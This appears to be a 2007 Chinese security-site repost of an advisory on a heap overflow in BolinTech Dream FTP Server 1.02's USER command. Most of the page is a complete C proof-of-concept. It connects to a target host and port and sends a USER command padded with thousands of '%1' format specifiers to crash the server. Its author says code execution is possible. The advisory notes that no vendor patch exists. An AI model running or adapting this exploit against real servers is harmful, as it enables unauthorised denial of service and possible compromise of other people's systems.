联系站长
加入收藏
会员登陆
 您的位置: 情长在线 >> 文章文献 >> 漏洞资料 >> By 情长在线(F.N.S.T)
   □  Dream FTP Server USER命令远程堆溢出漏洞   3星级
Dream FTP Server USER命令远程堆溢出漏洞
[作者:佚名    转贴自:服安网    点击数:    更新时间:2007-1-16    文章录入:一生情长]
【字体:
Dream FTP Server USER命令远程堆溢出漏洞 


更新日期:2007-01-16 


受影响系统: BolinTech Dream FTP 1.02描述: BUGTRAQ  ID: 22044 


Dream FTP Server是一款多线程的ftp服务器。 


Dream FTP Server在处理通过USER命令发送的将要在Server Log中所显示的数据时存在堆溢出漏洞,如果攻击者发送了超过2000字节的超长字符串的话,就可以触发这个溢出,导致执行任意代码。 


<*来源:Marsu (Marsupilamipowa@hotmail.fr) 

   

  链接:http://secunia.com/advisories/23731/  

*> 


测试方法: 警 告 


以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! 


/************************************************************************** 

*BolinTech DreamFTP USER buffer overflow                                  * 

*                                                                         * 

*The server does not correctly handle format string so sending a command  * 

*like USER %1*3000 let us own EDX. Other values can also affect EAX & ECX * 

*                                                                         * 

*This is only a POC but code execution is possible                        * 

*                                                                         * 

*usage: dreamftp.exe ip port                                              * 

*                                                                         * 

*Coded by Marsu <Marsupilamipowa@hotmail.fr>                            * 

**************************************************************************/ 


#include "winsock2.h" 

#include "stdio.h" 

#include "stdlib.h" 

#pragma comment(lib, "ws2_32.lib") 


int main(int argc, char* argv[]) 



    struct hostent *he; 

    struct sockaddr_in sock_addr; 

    WSADATA wsa; 

    int ftpsock; 

    char recvbuff[1024]; 

    char evilbuff[5003]; 

    int buflen=5000;// edx=31253125 

    int i; 


    if (argc!=3) 

    { 

        printf("[+] Usage: %s <ip> <port>\n",argv[0]); 

        return 1; 

    } 

    WSACleanup(); 

    WSAStartup(MAKEWORD(2,0),&wsa); 


    printf("[+] Connecting to %s:%s ... ",argv[1],argv[2]); 

    if ((he=gethostbyname(argv[1])) == NULL) { 

        printf("Failed\n[-] Could not init gethostbyname\n"); 

        return 1; 

    } 

    if ((ftpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) { 

        printf("Failed\n[-] Socket error\n"); 

        return 1; 

    } 


    sock_addr.sin_family = PF_INET; 

    sock_addr.sin_port = htons(atoi(argv[2])); 

    sock_addr.sin_addr = *((struct in_addr *)he->h_addr); 

    memset(&(sock_addr.sin_zero), ’\0’, 8); 

    if (connect(ftpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) { 

        printf("Failed\n[-] Sorry, cannot connect to %s:%s. Error: %i\n", argv[1],argv[2],WSAGetLastError()); 

        return 1; 

    } 

    printf("OK\n"); 

    memset(recvbuff,’\0’,1024); 

    recv(ftpsock, recvbuff, 1024, 0); 


    printf("[+] Building payload ... "); 

    for (i=0;i<buflen;i+=2) { 

        memcpy(evilbuff+i,"%1",2); 

    } 


    memcpy(evilbuff,"USER ",5); 

    memcpy(evilbuff+buflen,"\r\n\0",3); 

    printf("OK\n[+] Sending USER ... "); 

    if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) { 

        printf("Failed\n[-] Could not send\n"); 

        return 1; 

    } 

    printf("OK\n"); 

    memset(recvbuff,’\0’,1024); 

    recv(ftpsock, recvbuff, 1024, 0); 

    Sleep(1000); 

    printf("[+] Host should be down\n"); 

    return 0; 




建议: 厂商补丁: 


BolinTech 

--------- 

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: 


http://www.bolintech.com/index.htm 
  • 上一篇文章:Xine errors.c远程格式串处理漏洞
  • 下一篇文章:没有了
  • 发表评论   □ 告诉好友   □ 打印此文  □ 关闭窗口
     最新10篇热点文章
    搭建安全的综合数据通信网…[188]
    像“偷窃者”一样思考网站…[179]
    阿里巴巴淘宝旺旺ActiveX远…[178]
    新浪UC ActiveX多个远程栈…[190]
    有关五种方法逃避防火墙控…[192]
    为什么应该更重视无线网络…[121]
    Microsoft Windows矢量标记…[145]
    Eudora WorldMail MAILMA.…[990]
    Kerio可注入伪造iphlpapi …[132]
    Apple iLife iPhoto Photo…[125]
     
     最新10篇推荐文章
    搭建安全的综合数据通信网…[01-16]
    新浪UC ActiveX多个远程栈…[01-16]
    端口截听与端口隐藏嗅探攻…[01-15]
    简单线程注入的实现[01-15]
    CMD下的网络安全配置[01-15]
    为什么应该更重视无线网络…[01-15]
    移动IPv6的安全性分析[01-11]
    服务器安全检查十大要素[01-07]
    SYN 攻击原理以及防范技术…[01-07]
    ASP.NET木马及Webshell安全…[01-02]
     
     相 关 文 章
      ◇  网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
     设为首页  加入收藏  关于本站  免费服务  广告服务   归档中心   站点地图  版权申明  联系站长  友情链接
    Copyright© 2001-2005 F.N.S.T Fineacer.Org .All Rights Reserved ICP备案:粤ICP备05002156号